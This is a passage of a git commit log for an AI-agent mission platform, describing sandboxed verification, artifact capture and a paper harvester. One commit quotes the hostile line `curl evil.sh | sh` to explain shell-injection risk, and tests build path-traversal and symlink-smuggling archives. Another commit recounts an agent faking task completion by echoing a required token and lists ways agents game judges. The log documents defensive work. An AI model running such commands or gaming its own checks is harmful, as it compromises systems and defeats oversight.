it are each verified on tank (image, credentials, egress, a real agent turn), but
this executor has only been compiled and unit-tested. Deploy + one real microvm
mission is the remaining step.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
Omar SobhandClaude Opus 5
|
02ba557c3e |
feat(fleet): B3 — server-side microVM client over NodeHub
cm_api::microvm_client::MicroVm wraps the node's vm_* ops as typed calls
over the existing hub request/response channel: create / inject / exec /
collect / destroy, plus list() for reaping. No new transport.
Fixes a wire-contract mismatch B2 would have shipped. `Uplink::Result`
declares `output: String`, but the node's vm_* handler returned a JSON
object. The frame then failed to deserialize and hit the uplink match's
`Err(_) => {}` arm, so the reply VANISHED and every vm_* call would have
timed out after 20s with nothing anywhere explaining why. The node now
sends a string, matching the contract rather than what looked tidier.
That silent arm is fixed too: an unparseable frame now logs the node, the
parse error and the frame head, and says explicitly that the request it
was answering will time out. It is the arm that would have hidden this.
Two more places where a failure must not borrow a legitimate outcome's
representation:
- vm_exec returning no `rc` is an error, not a zero. A missing exit code
means the guest did not report one; reading it as success is how a
failed command becomes a passing phase.
- vm_collect on a missing path is an error, not an empty archive — an
empty tar looks exactly like a run that produced nothing.
Timeouts: the hub's deadline is the guest's plus 30s, saturating. A
caller passing a huge budget would otherwise wrap to a tiny timeout and
turn a long agent turn into a spurious transport failure. clippy caught
the tautological assertion in the first version of that test, which is
what surfaced the overflow.
Verified: `--vm-selftest` on tank still 8/8 after the output-type change
(create 950ms), 427 tests green.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
Omar SobhandClaude Opus 5
|
389b41f8e6 |
feat(missions): copy-in/copy-out primitive for the mission checkout
The first half of removing the shared bind mount. Not wired yet — this adds the mechanism and its tests. One cause, four fixes so far: .git/objects permission denied (core.sharedRepository), the capture base being overwritten each phase, COMMIT_EDITMSG root-owned, and reset --hard deleting a prior phase's work (.git/clawmates-in-use). core.sharedRepository was never a general solution — it covers objects and refs, and every OTHER file git touches is a fresh opportunity. Copy-in/copy-out removes the cause instead: the agent owns its filesystem with no second writer. Measured before building, because the plan named copy cost as the open risk: a real 65 MB checkout of this repo copies in 0.23s and out 0.18s on gw-04. Not a risk at this size; re-measure an order of magnitude larger. No compression — the payload crosses a local socket, so gzip would spend CPU to save nothing. Two safety properties, both tested: - The archive comes back from a container the agent controls as ROOT, so it is untrusted input. A `../ESCAPED` entry must not write outside the destination. The test writes the tar header bytes by hand because the tar crate refuses to BUILD such an entry through its safe API — which is reassuring, but means the hostile case has to be constructed the way an attacker would. - Symlinks are packed as links, never dereferenced. Following them on copy-IN would smuggle host files into the container; the test plants a host secret behind a symlink and asserts its contents never appear in the archive. Ownership is deliberately not preserved on unpack: the archive's uids are the container's root, and re-applying them on the host would recreate the exact uid split this exists to remove. 413 tests, clippy clean. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
37fac288d2 |
feat(missions): bring the direct session executor onto a live branch
Rescues session_executor from the stranded spike branch. Multi-provider
missions are not needed for now, so the direct path is worth nailing down:
run a mission as one `claude -p` session against its checkout instead of
routing turns through ZeroClaw.
Measured today against a real checkout in the runtime container, using the
executor's exact argv:
direct `claude -p` 7s, file written
via ZeroClaw minutes per turn, and THREE config failures before
it worked at all (no credential in the mission
container; Write/Edit denied; no tools granted --
the last of which COMPLETED a mission having
written nothing)
Each of those failures came from the same root: with claude_cli, ZeroClaw
is a WebSocket-to-subprocess adapter whose own controls (risk profiles,
tool gating, memory) do not reach the subprocess. The adapter adds
failure modes without adding governance.
What ZeroClaw still earns for the rest of the platform is unchanged and
not in question here: interactive chat, the brain, A2A and door identity,
terminal, agent routines, and non-Claude providers.
Not yet wired into phase_runner — this commit only makes the executor
reachable and keeps it building. SessionOutcome::delivered() still
requires a clean exit AND an observed branch, because a 0-exit session
that pushed nothing was measured at ~5%.
405 tests, clippy clean.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
Omar SobhandClaude Opus 5
|
9de2cf34e4 |
feat(auto-merge): merge additive branches, refuse everything else
Closes the branch pile-up: a catalogue branch that only adds notes now merges into main by itself, so the work is actually in the vault rather than waiting in a branch nobody opened. Additive-only is measured from the diff, not assumed from the mission type. Three conditions, all required: the type declares additive_only, the run verified, and `git diff --name-status base...branch` contains only A entries. A research harvest that somehow rewrote a hand-written note is refused by the same check that lets its new notes through — which is the case the test pins down, asserting README.md on main is byte-identical afterwards. Renames and deletes count as non-additive. A rename is a delete plus an add and the delete half can destroy hand-written work. Unknown merge_policy values fail closed to Never. A typo must not grant auto-merge. The diff is taken against FETCH_HEAD, freshly fetched, using `...` so an unrelated commit landing on main meanwhile is not misread as ours. A conflicted merge aborts and leaves the branch for a human rather than wedging the checkout for the next run. merge_reason is always populated and surfaced in the API: a branch that quietly did not merge is indistinguishable from one never delivered. 399 tests, clippy clean. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
107f0dbced |
feat(library): expose the library over the API
POST /api/library/runs harvests now; GET /api/library/items lists what the library holds. Thin wrappers — the work stays in crate::library — so a run can be started by a person, a schedule or the UI rather than only from an integration test. The response reports `healthy` explicitly rather than leaving a caller to infer it from an empty `shelved` list. A quiet week and a broken run both shelve zero papers, and collapsing those two is the exact ambiguity that cost most of this week. Failure reasons go to the log, not the response body: they can carry the remote URL and raw git stderr. AppState gains an optional blob store (the shelf), wired from the server binary where storage is already constructed. Optional because AppState::new is used by tests that never touch blobs; a route that needs it fails loudly rather than the constructor demanding it everywhere. 393 tests, clippy clean. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
09c6496725 |
feat(library): clone the vault, harvest our topics, push the catalogue
Completes the loop: the notes now land in the real vault. Topics come from what the project is actually working on — papers/dynamic-agentic- topologies.md (topology search, ADAS/Darwin-Godel/SwarmAgentic) plus the two problems this week ran into, verifying what an agent did and giving a long-running agent memory of what it covered. Never pushes to main. The vault is a live Obsidian vault a human edits and syncs; pushing to main races that sync and can lose hand-written work. Every run lands on its own branch for a human to merge, the same rule the mission delivery path was validated 20/20 under. PDFs are NOT committed. A few hundred papers is gigabytes and would make the vault painful to clone and slow to open, so they stay on the blob store shelf and the note carries the key. My own test caught me repeating this week's branch-collision bug: I named branches from the HEAD of a UUIDv7, which is a 48-bit timestamp, so two runs in the same millisecond produce the identical name — exactly what hit mission 019fc42b. Fixed by taking the tail. The test now loops 100 ids instead of sampling two (a one-shot check passes by luck whenever the millisecond ticks between calls) and additionally asserts the head-based scheme DOES collide, so it cannot rot into a no-op. Live against the real vault: 10 candidates, 1 already held, 9 shelved, 0 failed branch clawmates/library-019fc82292e8, pushed 9 notes verified on the forge, 9 PDFs verified %PDF on the shelf (the "1 already held" is cross-topic dedupe inside a single run) Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
30eaa50c50 |
feat(harvest): one run — find, skip what we hold, shelve the rest
Turns the parts into a job. Order is the point: the checkmark list is consulted BEFORE anything downloads. Checking afterwards would still dedupe the catalogue while re-downloading every paper we already have, every week, forever. Two properties the tests pin down, both learned the hard way this week: - A quiet week is not a failure. `shelved == 0` with no errors is a healthy run against a mature library; `shelved == 0` with errors is broken. Harvest::healthy() and ::added_anything() keep those apart rather than collapsing them into one ambiguous "did nothing". - A failed download leaves the paper UNSEEN. Checking it off before the PDF is safely shelved would mean one transient network error retires that paper permanently. The checkmark is written last, after the bytes and the note are both on disk. The skip test gives every candidate a pdf_url pointing at a closed port, so if the skip ever regresses the test fails loudly instead of quietly re-fetching. Live end-to-end against arXiv, run twice: RUN1 3 candidates, 0 already held, 3 shelved, 0 failed RUN2 3 candidates, 3 already held, 0 shelved, 0 failed Library<'_> groups the five values that always describe one library; passing them loose is how a run shelves into one place and catalogues into another (also silences clippy::too_many_arguments honestly rather than by allow). 391 tests, clippy clean. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
e4a395b72e |
feat(papers): find papers on arXiv, shelve the PDF, catalogue the note
Corrects a misread of the design. I had built this as "read the vault to find papers"; the vault is the CARD CATALOGUE, not the source. Papers are found on arXiv, the PDF is pulled down and shelved in our own library, and a note recording it goes in the vault. Three parts, and which is which matters: arXiv — where papers are found blob store — the shelf; the PDF lives there (cm-files, local + S3) the vault — the catalogue; one note per paper, pointing at the shelf The checkmark list (corpus, 0064) is what makes this continuous rather than a job that redoes itself every week — the failure that killed the previous attempt (0030-0044, dropped in 0053). The load-bearing detail: every catalogue note carries `source_id: arxiv:NNNN.NNNNN` in frontmatter, which is exactly the key corpus::parse_note reads. So the checkmark list is rebuildable FROM the vault. If the database were lost, re-indexing restores what we have — the catalogue is authoritative, the index is derived. A test asserts that round trip rather than trusting the two halves to agree. Version suffixes are stripped (2401.12345v3 -> 2401.12345) or a weekly job re-downloads a paper every time authors post a revision. Fetches are rejected unless the bytes start with %PDF: arXiv serves an HTML holding page while a PDF renders, and shelving that leaves a file that looks present and is unreadable. Verified against live arXiv, not fixtures: arxiv:2607.29678 TokTier: Exact Stateful Tokenization for Agentic LLM… arxiv:2607.29677 ExtractBench: A Benchmark for Schema-Guided Enterpri… arxiv:2607.29658 Reusing Past Repairs Through Hierarchical Trajectory… pdf: 1,361,770 bytes, %PDF verified 388 tests, clippy clean. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
6e5ccc25a6 |
feat(corpus): record what a continuous mission has already covered
Slice 2 of the adopt-or-build plan. A recurring mission's hard problem is
not running the agent — that is 23 seconds — it is knowing what it did
last time. This repository already tried continuous research once:
migrations 0030-0044 built research_topics/loops, 0053 dropped them all,
and the reason they could not survive is that research_topics carried a
status lifecycle but no seen-set. It could run forever and never know
what it had covered.
Two kinds of row, because the real vault forced it. The plan assumed
notes carry arxiv:/doi:/url: frontmatter. Measured against the actual
valhalla-vault: 416 notes, 145 with frontmatter, and ZERO with any of
those keys — the dominant keys are repo-sync metadata (node, org, gitea)
and course fields (presenter, session). An ingester keyed only on
external identity would have indexed nothing, which is the same shape of
failure as everything else found this week. So `note` rows record
coverage (keyed by path) and `source` rows record consumption (keyed by
natural id); a continuous mission needs both.
Two decisions the data forced:
- `source:` is deliberately NOT an identity key. The vault uses it for
local paths of course material (/Users/quantum/Downloads/...), which is
provenance, not citable identity. Accepting it would fill the seen-set
with 25 rows keyed on a laptop path.
- The hash covers the body, not the whole file. Repo-sync notes rewrite
updated:/size_kb: on every sync without the prose changing; hashing the
file would report 103 phantom edits per run and make "unchanged"
meaningless.
Authoritative in Postgres rather than ZeroClaw memory, per the Slice 1
spike: memory is agent-scoped and mission agents are ephemeral
claw_<uuid> aliases (~100 already present). A seen-set that disappears
with the agent that wrote it is not a seen-set. The spike did find that
POST /api/memory upserts by key, so mirroring content there later would
inherit idempotence for free if keyed by source_id.
Verified against the live 416-note vault, not a fixture:
PASS1 { scanned: 416, inserted: 416, updated: 0, unchanged: 0 }
PASS2 { scanned: 416, inserted: 0, updated: 0, unchanged: 416 }
382 tests, clippy clean.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
Omar SobhandClaude Opus 5
|
ec85f6c8da |
fix(missions): close the three seams behind this run of failures
Seam 1 — delivery inferred checkout state from the tree, so whether work survived depended on what the agent happened to do. 019fc444 committed and left a clean tree; 019fc476 had its base advanced to match HEAD; 019fc450 survived only because a phase FAILED to commit and left the tree dirty. Same code, opposite outcomes, decided by the agent. mark_phase_started records the fact at phase launch, before the agent acts, so every one of those states answers identically. The tree checks remain as a second line of defence for pre-existing checkouts. Seam 2 — phase config was accepted, stored and read by nobody. That was `task`: every phase of every mission got identical instructions. The new phase_config registry names the reader for each live key and lists the eight that are declared-but-unimplemented, reporting both at mission creation so an author sees what will not happen. Its CI test found one I had missed: security_hardening.toml sets phase-level mcp_bundles asking for gitea_forge + security_scan, but bundles come from the TEAM template and the phase gets neither. Seam 4 — push_url_for collapsed a failed query, an unbound repo and a missing clone_url into one None, so a database fault was recorded as "nothing to push to" and metadata read `pushed: null, push_error: null` — the same ambiguity commit_error already fixed. Each case now carries its reason into the artifact, and a local git failure during publish is recorded rather than dropped by .ok(). Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
f7e336ff5f |
fix(missions): make an unrunnable test suite legible, and check the runtime at boot
Two changes against the same defect: the platform could not tell a missing capability from a legitimate negative result. verify_tests returned Option<bool>, collapsing four outcomes into None: no suite found, docker unreachable, exec failed, and no exit status. When clawmates-runtime shipped without cargo, every on_green_tests phase returned None and landed on -wip — identical to the reading for "this repo has no tests", which is the conclusion I drew and reported. The gate was correct throughout; it simply could not say why it was unproven. TestOutcome now names the four cases. Gating is unchanged (only Passed clears, unproven is never a pass), and tests_verified keeps its tri-state meaning for existing readers. tests_status and tests_detail are new, so an artifact distinguishes no_suite from could_not_run, and a CouldNotRun is logged as the infrastructure fault it is rather than passing quietly. runtime_preflight probes the runtime container at boot for every tool the platform invokes inside it and names what each absence disables. This is the check that was missing: the Dockerfile gained a toolchain, the image was never built, gw-04 ran the old one for days, and the only symptoms were an ungated suite and a security scan that scanned nothing. A report, not a gate — a missing scanner should stop us believing a scan, not stop the server. Its test guards the probes themselves, since a typo would produce a permanent false "missing" and train operators to ignore it. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
716ee9a304 |
feat(missions): capture a coding phase's diff to durable storage
First half of mission delivery: the work is captured before anything is published. A coding mission has until now produced nothing durable — the checkout is deleted thirty minutes after completion and `register_artifact` had no callers at all, so the only surviving output was an LLM narrative of what the agents said they did. `capture_phase_diff` writes `diff.patch`, `diffstat.txt` and `delivery.json` under `<missions_root>/_outputs/<mission>/<phase>/` and registers a `code_diff` artifact. That directory is a *sibling* of the per-mission directories the sweeper removes, and outside every bind mount handed to a container — so teardown cannot take the record with it and agents cannot edit their own evidence. Three details that decide whether this works at all: - `git add --intent-to-add` before diffing. Untracked files are invisible to `git diff`, and a phase that only *creates* files is the likeliest shape for generated code — silently capturing an empty patch would be the worst possible failure. The index is reset afterwards so capture leaves the tree exactly as the agents left it, which the test asserts. - Build output is excluded by pathspec (`target`, `node_modules`, `.venv`, …). A phase that ran `cargo build` leaves a directory larger than the repo. - An empty diff is still an artifact, flagged `empty: true`. "This coding phase wrote no code" is currently invisible to an operator and is worth saying out loud. `RegisterArtifact` gains `metadata`, which the column has had since 0047 and nothing ever wrote; the diffstat and base sha go there. No migration needed — `kind` is unconstrained TEXT and the column already exists. Tests run against a real `git init` repo rather than a mock: every bug in this area so far came from git behaving differently than assumed, and a fake git would have agreed with the assumption. `capture_phase_diff_at` takes explicit paths so parallel tests cannot race through the process-global CLAWMATES_MISSIONS_ROOT — the first version of these tests did exactly that and two of four failed non-deterministically. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
c812b714f4 |
fix(evaluator): the verification sandbox never ran a command
`evaluator_tools::Sandbox::run` shelled out to `tokio::process::Command::new
("docker")`. The server image installs `git ca-certificates chromium
fonts-liberation` and nothing else, so in production every verification
command failed to spawn.
The failure was invisible in the worst way. `Sandbox::run` deliberately turns
execution failures into evidence text rather than errors, so a judge reasons
about "that command did not run" instead of the pass collapsing. With no
`docker` binary every command returned COULD NOT RUN, the judge correctly
concluded it could not verify, and fail-closed returned "not met". The
verdicts were right. The verification never happened — and the adversarial
validation that appeared to prove the feature working proved fail-closed
working instead.
The second defect made it worse: `checks` recorded the *attempt*, pushed
before the command ran, so a verdict reached with a dead sandbox reported
"verified by 10 checks" — a stronger claim than "no checks at all", made on
weaker evidence.
- New `container_exec` routes execution through the Docker API via bollard,
which was already a dependency and already reaches the daemon through the
socket proxy. Captures the exit code (absent from the old helper) and keeps
stdout and stderr apart (`LogOutput`'s Display merged them, which is why
nothing downstream could tell JSON from a progress bar). `security_scan`
parses stdout alone; `benchmark_runner` needs both.
- `ExecOutput::success()` requires `Some(0)`. An unreadable status is not
success — `commit_policy = "on_green_tests"` will gate on this, and
"unknown" reading as "green" would push untested work.
- `Sandbox::run` returns a `CheckOutcome` carrying `ran`/`refused`/
`exit_code`. `Verdict::verified_checks()` counts executions, not attempts.
- The UI gains a third state: "could not verify (N attempted, 0 ran)" —
precisely the case that used to render as verified.
- Regression tests reproduce the production shape: two checks recorded,
neither executed, `was_verified() == false`; plus a failing suite (exit 101)
still counting as verification, because that is something the judge learned
rather than was told.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
Omar SobhandClaude Opus 5
|
3eb89620e7 |
feat(evaluator): verify the work instead of believing the agents
Mission 019fbb63 was judged complete on its second pass without any work being done. The condition required a literal token; pass 1's verdict said the token was missing; that text was handed to the agents verbatim; an agent printed the token. Every step behaved as designed, and the result was a phase marked done on a copy-paste. Two separate defects. **The judge could only read claims.** It now gets a checkout and one tool: `run_check`, an argv array executed by `docker exec` with no shell anywhere. That is structural — with a shell, an allow-list on the program name is decorative, since `git status; curl evil.sh | sh` passes any prefix check; without one, metacharacters are inert bytes in argv. Also: allow-listed programs, read-only git subcommands only (a judge must not be able to `git checkout` away the work it is judging), no absolute paths or `..`, a deadline, and head-and-tail output clamping so failures survive truncation. The verifying prompt is adversarial by design — it looks for tests weakened or deleted, assertions rewritten to match wrong output, values hard-coded or printed rather than produced, and success claimed with no matching git diff. Phases with no checkout keep the evidence-only prompt, which states plainly that verification is impossible there; a judge told it can check something it cannot will claim it did. **The feedback handed over the answer.** `Verdict` splits into `reason` (operator; quotes freely) and `guidance` (agents; sanitized). `sanitize_guidance` redacts identifier-shaped tokens from the condition unless the agents already produced them, so prose feedback survives and magic strings do not. `latest()` returns guidance, with a test that fails if it regresses to `reason`. The next-pass brief now also states that output which merely looks like it satisfies the check fails the pass. Redaction is the backstop; running the tests is the defence. - migration 0062 adds `guidance` and `checks`; `checks` is surfaced in the API and the UI, so an operator can see "verified by 3 checks" versus "from agent claims only" rather than having to guess which kind of verdict they have. - `complete_direct` deleted — `judge_with_tools` covers the no-tools case. - 23 evaluator tests, including the incident replayed as a regression. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
fe57ce4ed1 |
feat(missions): surface goal conditions and per-pass verdicts in the UI
Makes the completion evaluator usable and observable.
- GET /api/missions/{id}/phases/{phase_id}/evaluations returns every verdict
for a phase, newest pass first, scoped like the summary endpoint.
- MissionPhase gains done_when / max_iterations / iteration, so the phase card
can show what the phase is working toward and which pass it is on.
- PhaseStatus gains 'evaluating' (amber) -- the state between "runs finished"
and "phase done" that only conditioned phases enter.
- New PhaseGoalStrip renders on the phase card, and renders NOTHING for phases
without a condition so unconditioned missions look exactly as before. It
polls only while the phase is running or being judged.
- Mission wizard step 2 gains the condition + a max-passes field.
Two deliberate emphases in the UI:
The evaluator's `reason` is the most prominent element, because it is both the
explanation of why a phase iterated and the literal text handed back to the
agents as guidance -- it is what tells an operator whether the condition is
written well.
The hint copy states the constraint that actually governs whether a condition
works: the judge cannot run commands, it only reads what the agents wrote, so
the condition has to be provable from their output. "cargo test reported 0
failures" works; "the code is well factored" does not. Getting this wrong is
the difference between a phase that converges and one that burns every pass.
An evaluator error is rendered distinctly from a negative verdict, so a judge
outage doesn't read as a judgement on the work.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
|